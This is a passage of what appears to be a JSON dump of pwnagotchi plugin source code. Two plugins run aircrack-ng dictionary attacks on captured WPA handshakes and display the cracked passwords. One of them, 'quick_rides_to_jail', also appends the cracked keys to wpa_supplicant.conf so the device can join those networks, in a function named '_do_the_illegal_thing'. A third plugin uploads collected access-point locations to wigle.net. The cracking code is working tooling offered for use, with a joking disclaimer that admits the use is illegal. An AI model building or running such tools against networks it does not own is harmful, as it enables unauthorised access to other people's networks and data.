    "content": "__author__ = 'forrest'\n__version__ = '1.0.1'\n__name__ = 'quick_rides_to_jail'\n__license__ = 'GPL3'\n__description__ = 'Run a quick dictionary scan against captured handshakes, update wpa_supplicant for the supplied interface, and go straight to jail.'\n\n'''\nAircrack-ng needed, to install:\n> apt-get install aircrack-ng\nUpload wordlist files in .txt format to folder in config file (Default: /opt/wordlists/)\nCracked handshakes stored in handshake folder as [essid].pcap.cracked \n\nOriginal use-case: \n    Emergency communications out to the internet, via distributed out-of-band network of\n    pwnagotchi's. My research is in support of developing a PoC prototype mesh network capable\n    of using the pwnagotchi's network to courier data over its out-of-band wireless channel\n    and bridge gaps with pwnd wireless networks. Meh. One pwnagotchi encounters another in the\n    desert, briefly. The one stranded in the desert holds out an encrypted message for family.\n    A dieing wish. The traveling pwnagotchi picks up the message, says \"I got you bro\", and\n    takes the message out to civilization, to pass on. The traveling pwnagotchi searches high\n    and low for the desert bro's fam, but can't find them. Just then, the traveler connects\n    to a wayward watering hole (i.e. a pwnd access point), and can send out a message, on blast \n    to desert bro's fam. Could low-key be a legit means of connectivity in a post-appocalypse\n    type situation, but is high-key probably illegal for you to do on anyone else's network.\n    Have fun in jail.\n\nFor educational and testing purposes, only. If you do not think that you have violated the law,\nyou most certainly are about to. By using and enabling the full functionality of this script,\nyou here by agree to sit quietly in the back of the police car.\n'''\n\nimport logging\nimport json\nimport os\nimport subprocess\nimport string\nimport re\nfrom collections import namedtuple\nfrom pwnagotchi.utils import StatusFile\n\nREADY = False\nOPTIONS = dict()\nREPORT = StatusFile('/root/.aircracked_pcaps', data_format='json')\nTEXT_TO_SET = ''\n\nPwndNetwork = namedtuple('PwndNetwork', 'ssid bssid password')\nhandshake_file_re = re.compile('^(?P<ssid>.+?)_(?P<bssid>[a-f0-9]{12})\\.pcap\\.cracked$')\ncrackable_handshake_re = re.compile('\\s+\\d+\\s+(?P<bssid>([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2})\\s+(?P<ssid>.+?)\\s+((\\([1-9][0-9]* handshake(, with PMKID)?\\))|(\\(\\d+ handshake, with PMKID\\)))')\n\n\ndef on_loaded():\n    global READY\n    logging.info('[thePolice] Quick rides to prison and dictionary check plugin loaded.')\n    READY = True\n\n\ndef on_ready(agent):\n    global REPORT\n\n    if not READY:\n        return\n\n    try:\n        config = agent.config()\n        reported = REPORT.data_field_or('reported', default=list())\n        all_pcap_files = [os.path.join(config['bettercap']['handshakes'], filename) for filename in os.listdir(config['bettercap']['handshakes']) if filename.endswith('.pcap')]\n        new_pcap_files = set(all_pcap_files) - set(reported)\n\n        if not new_pcap_files:\n            return\n\n        for pcap_file in new_pcap_files:\n            logging.info('[thePolice] Running uncracked pcap through aircrack: %s'%(pcap_file))\n            try:\n                _do_crack(agent, pcap_file)\n                reported.append(pcap_file)\n                REPORT.update(data={'reported': reported})\n            except:\n                continue\n\n    except Exception as e:\n        logging.error('[thePolice] Encountered exception in on_ready: %s'%(e))\n\n\ndef on_handshake(agent, filename, access_point, client_station):\n    global REPORT \n    try:\n        reported = REPORT.data_field_or('reported', default=list())\n        if filename not in reported:\n            _do_crack(agent, filename)\n            reported.append(filename)\n            REPORT.update(data={'reported': reported})\n    except Exception as e:\n        logging.error('[thePolice] Encountered exception in on_handshake: %s'%(e))\n\n\ndef set_text(text):\n    global TEXT_TO_SET\n    TEXT_TO_SET = text\n\n\ndef on_ui_update(ui):\n    global TEXT_TO_SET\n    if TEXT_TO_SET:\n        ui.set('face', '(XωX)')\n        ui.set('status', TEXT_TO_SET)\n        TEXT_TO_SET = ''\n\n\ndef _do_crack(agent, filename):\n    config = agent.config()    \n    display = agent._view\n\n    try:\n        if config['main']['plugins']['quickdic']['enabled'] == 'true':\n            logging.warning('[thePolice] Plugin quickdic is enabled. Cannot run with quickdic enabled...')\n            return\n    except Exception as e:\n        logging.warning('[thePolice] Exception while checking for quickdic plugin in config file: %s', e)\n\n    try:\n        aircrack_execution = subprocess.run('/usr/bin/aircrack-ng %s'%(filename), shell=True, stdout=subprocess.PIPE)\n        result = aircrack_execution.stdout.decode('utf-8').strip()\n    except Exception as e:\n        logging.warning('[thePolice] Exception while running initial aircrack-ng check: %s', e)\n        return\n\n    crackable_handshake = crackable_handshake_re.search(result)\n    if not crackable_handshake:\n        #logging.info('[thePolice] No handshakes found. Aircrack-ng output: %s', result)\n        return\n  \n    logging.info('[thePolice] Confirmed handshakes captured for BSSID: %s', crackable_handshake.group('bssid'))\n\n    try:        \n        aircrack_execution_2 = subprocess.run(('aircrack-ng -w `echo '+os.path.join(OPTIONS['wordlist_folder'],'*.txt')+' | sed \\'s/\\ /,/g\\'` -l '+filename+'.cracked -q '+filename+' -b '+crackable_handshake.group('bssid')+' -p 1 | grep KEY'),shell=True,stdout=subprocess.PIPE)\n        crack_result = aircrack_execution_2.stdout.decode('utf-8').strip()\n    except Exception as e:\n        logging.error('[thePolice] Exception while running aircrack-ng for %s: %s'%(crackable_handshake.group('bssid'),e))\n        return\n\n    #logging.info('[thePolice] Aircrack output: '+crack_result)\n    if crack_result != 'KEY NOT FOUND':\n        key = re.search('\\[(.*)\\]', crack_result)\n        _do_the_illegal_thing(config['bettercap']['handshakes'])\n        set_text('Cracked password: '+str(key.group(1)))\n        display.update(force=True)\n\n\ndef _reconfigure_wpa_supplicant():\n    try:\n        command = 'wpa_cli -i {} reconfigure'.format(OPTIONS['interface'])\n        result = subprocess.check_output(command, shell=True)\n\t\n        if result.strip() == 'OK':\n            logging.info('[thePolice] Successfully updated wpa_supplicant for {}.'.format(OPTIONS['interface']))\n            return\n        logging.info('[thePolice] Failed to update wpa_supplicant for {}.'.format(OPTIONS['interface']))\n\n    except Exception as e:\n        logging.error('[thePolice] Exception while reconfiguring wpa_supplicant: %s', e)\n    \n\ndef _get_pwnd_networks(handshakes_path):\n    pwnd_networks = []\n    file_matches = [handshake_file_re.search(file_name) for file_name in os.listdir(handshakes_path) if handshake_file_re.search(file_name) != None]\n    \n    for file_match in file_matches:\n        try:\n            with open(os.path.join(handshakes_path, file_match.string),'r') as f:\n                #print('{} {} {}'.format(file_match.group('ssid'), re.sub(r'(.{2})(?!$)', r'\\1:', file_match.group('bssid')), f.read()))\n                pwnd_networks.append(PwndNetwork(file_match.group('ssid'), re.sub(r'(.{2})(?!$)', r'\\1:', file_match.group('bssid')), f.read()))\n        except Exception as e:\n            logging.error('[thePolice] Exception while processing handshake file: %s', e)\n            continue\n    \n    return pwnd_networks\n\n\ndef _add_pwnd_networks_to_wpa_supplicant(handshakes_path):\n    wpa_supplicant_text = ''\n    updated_count = 0\n    try:\n        with open(OPTIONS['wpa_supplicant_conf_path'], 'r') as f:\n            wpa_supplicant_text = f.read()\n    except Exception as e:\n        logging.error('[thePolice] Exception while opening and reading wpa_supplicant config file: %s', e)\n        return\n\n    for pwnd_network in _get_pwnd_networks(handshakes_path):\n        new_wpa_supplicant_string = (\"network={{\\n\\tbssid={}\\n\\tpsk=\\\"{}\\\"\\n\\tkey_mgmt=WPA-PSK\\n\\tdisabled=1\\n}}\\n\".format(pwnd_network.bssid, pwnd_network.password))\n        \n        if new_wpa_supplicant_string in wpa_supplicant_text:\n            continue\n        \n        try:\n            with open(OPTIONS['wpa_supplicant_conf_path'], 'a') as f:\n                #print(new_wpa_supplicant_string)\n                f.write(new_wpa_supplicant_string+'\\n')\n                updated_count += 1\n        except Exception as e:\n            logging.error('[thePolice] Exception while opening and writing to wpa_supplicant config file: %s', e)\n            continue\n\n    if updated_count > 0:\n        logging.info('[thePolice] Congratulations! You added {} new access points to your wpa_supplicant.conf.'.format(updated_count))\n        logging.info('[thePolice] You\\'re goin to jail!')\n        _reconfigure_wpa_supplicant()\n\n\ndef _get_network_interfaces():\n    return os.listdir(OPTIONS['net_device_path'])\n\n\ndef _device_in_monitor_mode(device_name):\n    device_type = ''\n    try:\n        with open(os.path.join(OPTIONS['net_device_path'], device_name, 'type')) as f:\n            device_type = f.read().strip()\n    except Exception as e:\n        device_type = ''\n        logging.error('[thePolice] Exception while opening and reading network device: %s', e)\n\n    if device_type == '803':\n        return True\n    return False\n\n\ndef _do_the_illegal_thing(handshakes_path):\n    if OPTIONS['interface'] not in _get_network_interfaces():\n        logging.info('[thePolice] Could not find desired interface in list of local interfaces.')\n        return\n    logging.info('[thePolice] Found desired interface in list of local interfaces.')\n    \n    if _device_in_monitor_mode(OPTIONS['interface']):\n        logging.info('[thePolice] Desired interface is in monitor mode - cannot use.')\n        return\n    logging.info('[thePolice] Desired interface is not in monitor mode.')\n    \n    _add_pwnd_networks_to_wpa_supplicant(handshakes_path)\n"
  },
  {
    "path": "quickdic/config",
    "content": "main:\n    plugins:\n      quickdic:\n        enabled: true\n        wordlist_folder: /opt/wordlists/\n"
  },
  {
    "path": "quickdic/quickdic.py",
    "content": "__author__ = 'forrest'\n__version__ = '1.0.2'\n__name__ = 'quickdic'\n__license__ = 'GPL3'\n__description__ = 'Run a quick dictionary scan against captured handshakes, skip jail.'\n\n'''\nAircrack-ng needed, to install:\n> apt-get install aircrack-ng\nUpload wordlist files in .txt format to folder in config file (Default: /opt/wordlists/)\nCracked handshakes stored in handshake folder as [essid].pcap.cracked \n\nFor educational and testing purposes, only. If you do not think that you have violated the law,\nyou most certainly are about to. By using and enabling the full functionality of this script,\nyou here by agree to sit quietly in the back of the police car.\n'''\n\nimport logging\nimport json\nimport os\nimport subprocess\nimport string\nimport re\nfrom collections import namedtuple\nfrom pwnagotchi.utils import StatusFile\n\nREADY = False\nOPTIONS = dict()\nREPORT = StatusFile('/root/.aircracked_pcaps', data_format='json')\nTEXT_TO_SET = ''\n\nPwndNetwork = namedtuple('PwndNetwork', 'ssid bssid password')\nhandshake_file_re = re.compile('^(?P<ssid>.+?)_(?P<bssid>[a-f0-9]{12})\\.pcap\\.cracked$')\ncrackable_handshake_re = re.compile('\\s+\\d+\\s+(?P<bssid>([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2})\\s+(?P<ssid>.+?)\\s+((\\([1-9][0-9]* handshake(, with PMKID)?\\))|(\\(\\d+ handshake, with PMKID\\)))')\n\n\ndef on_loaded():\n    global READY\n    logging.info('[quickdic] Aircrack-ng dictionary attack plugin loaded.')\n    READY = True\n\n\ndef on_ready(agent):\n    global REPORT\n\n    if not READY:\n        return\n\n    try:\n        config = agent.config()\n        reported = REPORT.data_field_or('reported', default=list())\n        all_pcap_files = [os.path.join(config['bettercap']['handshakes'], filename) for filename in os.listdir(config['bettercap']['handshakes']) if filename.endswith('.pcap')]\n        new_pcap_files = set(all_pcap_files) - set(reported)\n\n        if not new_pcap_files:\n            return\n\n        for pcap_file in new_pcap_files:\n            logging.info('[quickdic] Running uncracked pcap through aircrack: %s'%(pcap_file))\n            try:\n                _do_crack(agent, pcap_file)\n                reported.append(pcap_file)\n                REPORT.update(data={'reported': reported})\n            except:\n                continue\n\n    except Exception as e:\n        logging.error('[quickdic] Encountered exception in on_ready: %s'%(e))\n\n\ndef on_handshake(agent, filename, access_point, client_station):\n    global REPORT \n    try:\n        reported = REPORT.data_field_or('reported', default=list())\n        if filename not in reported:\n            _do_crack(agent, filename)\n            reported.append(filename)\n            REPORT.update(data={'reported': reported})\n    except Exception as e:\n        logging.error('[quickdic] Encountered exception in on_handshake: %s'%(e))\n\n\ndef set_text(text):\n    global TEXT_TO_SET\n    TEXT_TO_SET = text\n\n\ndef on_ui_update(ui):\n    global TEXT_TO_SET\n    if TEXT_TO_SET:\n        ui.set('face', '(XωX)')\n        ui.set('status', TEXT_TO_SET)\n        TEXT_TO_SET = ''\n\n\ndef _do_crack(agent, filename):\n    config = agent.config()    \n    display = agent._view\n\n    try:\n        if config['main']['plugins']['quickdic']['enabled'] == 'true':\n            logging.warning('[quickdic] Plugin quickdic is enabled. Cannot run with quickdic enabled...')\n            return\n    except Exception as e:\n        logging.warning('[quickdic] Exception while checking for quickdic plugin in config file: %s', e)\n\n    try:\n        aircrack_execution = subprocess.run('/usr/bin/aircrack-ng %s'%(filename), shell=True, stdout=subprocess.PIPE)\n        result = aircrack_execution.stdout.decode('utf-8').strip()\n    except Exception as e:\n        logging.warning('[quickdic] Exception while running initial aircrack-ng check: %s', e)\n        return\n\n    crackable_handshake = crackable_handshake_re.search(result)\n    if not crackable_handshake:\n        #logging.info('[quickdic] No handshakes found. Aircrack-ng output: %s', result)\n        return\n  \n    logging.info('[quickdic] Confirmed handshakes captured for BSSID: %s', crackable_handshake.group('bssid'))\n\n    try:        \n        aircrack_execution_2 = subprocess.run(('aircrack-ng -w `echo '+os.path.join(OPTIONS['wordlist_folder'],'*.txt')+' | sed \\'s/\\ /,/g\\'` -l '+filename+'.cracked -q '+filename+' -b '+crackable_handshake.group('bssid')+' -p 1 | grep KEY'),shell=True,stdout=subprocess.PIPE)\n        crack_result = aircrack_execution_2.stdout.decode('utf-8').strip()\n    except Exception as e:\n        logging.error('[quickdic] Exception while running aircrack-ng for %s: %s'%(crackable_handshake.group('bssid'),e))\n        return\n\n    if crack_result != 'KEY NOT FOUND':\n        key = re.search('\\[(.*)\\]', crack_result)\n        logging.info('[quickdic] Aircrack output: '+crack_result)\n        set_text('Cracked password: '+str(key.group(1)))\n        display.update(force=True)\n\n"
  },
  {
    "path": "wigle.py",
    "content": "__author__ = 'forrest'\n__version__ = '1.0.0'\n__license__ = 'GPL3'\n__description__ = 'This plugin automatically uploads collected wifis to wigle.net'\n\nimport os\nimport logging\nimport json\nfrom io import StringIO\nimport csv\nfrom datetime import datetime\nimport requests\nfrom pwnagotchi.utils import WifiInfo, FieldNotFoundError, extract_from_pcap, StatusFile\n\nREADY = False\nREPORT = StatusFile('/root/.wigle_uploads', data_format='json')\nSKIP = list()\nOPTIONS = dict()\n\ndef on_loaded():\n    global OPTIONS\n    global READY\n    if 'api_key' not in OPTIONS or ('api_key' in OPTIONS and OPTIONS['api_key'] is None):\n        logging.error(\"WIGLE: api_key isn't set. Can't upload to wigle.net\")\n        return\n    READY = True\n\ndef on_internet_available(agent):\n    from scapy.all import Scapy_Exception\n    global OPTIONS\t\n    global READY\n    global REPORT\n    global SKIP\n\n    # Anti-spaghet\n    if not READY:\n        return\n\n    config = agent.config()\n    display = agent.view()\n    reported = REPORT.data_field_or('reported', default=list())\n    all_gps_files = [os.path.join(config['bettercap']['handshakes'], filename) for filename in os.listdir(config['bettercap']['handshakes']) if filename.endswith('.gps.json')]\n    new_gps_files = set(all_gps_files) - set(reported) - set(SKIP)\n\n    # Anti-spaghet\n    if not new_gps_files:\n        return\n        \n    logging.info(\"WIGLE: Internet connectivity detected. Uploading new handshakes to wigle.net\")\n    no_err_entries = list()\n    data_tuples = []\n    for gps_file in new_gps_files:\n        pcap_filename = gps_file.replace('.gps.json', '.pcap')\n\n        if not os.path.exists(pcap_filename):\n            logging.error(\"WIGLE: Can't find pcap for %s\", gps_file)\n            SKIP.append(gps_file)\n            continue\n\n        try:\n            gps_data = _extract_gps_data(gps_file)\n        except OSError as os_err:\n            logging.error(\"WIGLE: %s\", os_err)\n            SKIP.append(gps_file)\n            continue\n        except json.JSONDecodeError as json_err:\n            logging.error(\"WIGLE: %s\", json_err)\n            SKIP.append(gps_file)\n            continue\n\n        if gps_data['Latitude'] == 0 and gps_data['Longitude'] == 0:\n            logging.warning(\"WIGLE: Not enough gps-information for %s. Trying again next time.\", gps_file)\n            SKIP.append(gps_file)\n            continue\n\n        try:\n            pcap_data = extract_from_pcap(pcap_filename, [WifiInfo.BSSID, WifiInfo.ESSID, WifiInfo.ENCRYPTION, WifiInfo.CHANNEL, WifiInfo.RSSI])\n        except FieldNotFoundError:\n            logging.error(\"WIGLE: Could not extract all information. Skip %s\", gps_file)\n            SKIP.append(gps_file)\n            continue\n        except Scapy_Exception as sc_e:\n            logging.error(\"WIGLE: %s\", sc_e)\n            SKIP.append(gps_file)\n            continue\n\n        data_tuples.append((gps_data, pcap_data))\n        no_err_entries.append(gps_file)\n\n    # Anti-spaghet\n    if len(data_tuples) == 0:\n        return\n\n    display.set('status', \"Uploading gps-data to wigle.net ...\")\n    display.update(force=True)\n    try:\n        _send_to_wigle(_create_kismet_wigle_csv(data_tuples), OPTIONS['api_key'])\n        reported += no_err_entries\n        REPORT.update(data={'reported': reported})\n        logging.info(\"WIGLE: Successfully uploaded one file with %s access points.\", len(no_err_entries))\n        \n    # The previous exceptions here were as pointless as the one that follows:\n    except Exception as e:\n        # Ignoring valid Wigle data because we hit an exception doesn't seem like a good idea.\n        # We would be throwing away legit, hard-earned data for things like \"requests failed because internet sucks\"\n        logging.error(\"WIGLE: Encountered an exception while uploading Kismet Wigle CSV file: %s\", str(e))\n\n\ndef _extract_gps_data(path):\n    \"\"\"\n    Extract data from gps-file\n\n    return json-obj\n    \"\"\"\n\n    try:\n        with open(path, 'r') as json_file:\n            return json.load(json_file)\n    except OSError as os_err:\n        raise os_err\n    except json.JSONDecodeError as json_err:\n        raise json_err\n\ndef _create_kismet_wigle_csv(data_tuples):\n    \"\"\"\n    Transform to wigle entry in file\n    \"\"\"\n\n    # Reference: https://github.com/kismetwireless/kismet/blob/master/log_tools/kismetdb_to_wiglecsv.cc\n    dummy = StringIO()\n    # write kismet wigle csv header\n    dummy.write('WigleWifi-1.4,appRelease=20190201,model=Kismet,release=2019.02.01.{},device=kismet,display=kismet,board=kismet,brand=kismet\\r\\n')\n    dummy.write('MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\\r\\n')\n    writer = csv.writer(dummy, delimiter=',', quoting=csv.QUOTE_NONE, escapechar='\\\\')\n    for data_tuple in data_tuples:\n        gps_data = data_tuple[0]\n        pcap_data = data_tuple[1]\n\n        writer.writerow([\n            pcap_data[WifiInfo.BSSID],\n            pcap_data[WifiInfo.ESSID],\n            ''.join(['[{}]'.format(y) for y in pcap_data[WifiInfo.ENCRYPTION]]),\n            datetime.strptime(gps_data['Updated'].rsplit('.')[0],'%Y-%m-%dT%H:%M:%S').strftime('%Y-%m-%d %H:%M:%S'),\n            pcap_data[WifiInfo.CHANNEL],\n            pcap_data[WifiInfo.RSSI],\n            gps_data['Latitude'],\n            gps_data['Longitude'],\n            gps_data['Altitude'],\n            # Accuracy, in meters. According to gps.gov, the expected user range error should be below 7.8m, 95% of the time.\n            # A global study, summarized by gps.gov on 2016-05-11, claims actual global URE was <= 0.715m, 95% of the time.\n            # They also claim that a smartphone is typically accurate to within a 4.9m radius (2014-2015), though I'm not going to \n            # read the ~360 pages to find out if that includes positioning data based on the GSM network or just GNSS data:\n            #   https://ion.org/publications/abstract.cfm?articleID=13079\n            # So I'm just gonna yolo select 5m for accuracy, until I figure out why you put a 0 here or find a way to add accuracy.\n            5,   \n            'WIFI'])\n\n    return dummy.getvalue()\n\ndef _send_to_wigle(csv_data, api_key, timeout=30):\n    \"\"\"\n    Uploads the file to wigle-net\n    \"\"\"\n\n    dummy = StringIO()\n    dummy.write(csv_data)\n    dummy.seek(0)\n\n    headers = {'Authorization': 'Basic {}'.format(api_key), 'Accept': 'application/json'}\n    data = {'donate': 'false'}\n    payload = {'file': dummy, 'type': 'text/csv'}\n\n    try:\n        json_res = requests.post('https://api.wigle.net/api/v2/file/upload', data=data, headers=headers, files=payload, timeout=timeout).json()\n        if not json_res['success']:\n            raise requests.exceptions.RequestException(json_res['message'])\n    except requests.exceptions.RequestException as re_e:\n        raise re_e\n"
  }
]